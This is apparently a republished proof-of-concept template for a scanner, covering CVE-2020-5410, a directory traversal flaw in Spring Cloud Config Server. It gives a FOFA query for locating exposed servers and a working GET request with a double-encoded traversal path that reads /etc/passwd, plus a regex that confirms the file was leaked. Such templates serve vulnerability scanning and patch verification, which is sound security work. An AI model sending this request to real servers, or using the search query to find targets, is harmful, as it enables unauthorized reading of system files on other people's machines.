CVE-2020-5410: Spring Cloud Config Server Directory Traversal

2025-08-01 Spring Cloud Config Server PoC Public

Description

Spring Cloud Config Server Directory Traversal

fofa: "Spring Cloud Config Server"

PoC

id: CVE-2020-5410

info:
  name: Spring Cloud Config Server Directory Traversal
  author: Soveless
  severity: high
  description: |
    Spring Cloud Config Server Directory Traversal
    fofa: "Spring Cloud Config Server"
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5410
  tags: cve,cve2020,springcloud,traversal,readfile
  created: 2023/08/17

rules:
  r0:
    request:
      method: GET
      path: /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2020/CVE-2020-5410.yaml

References

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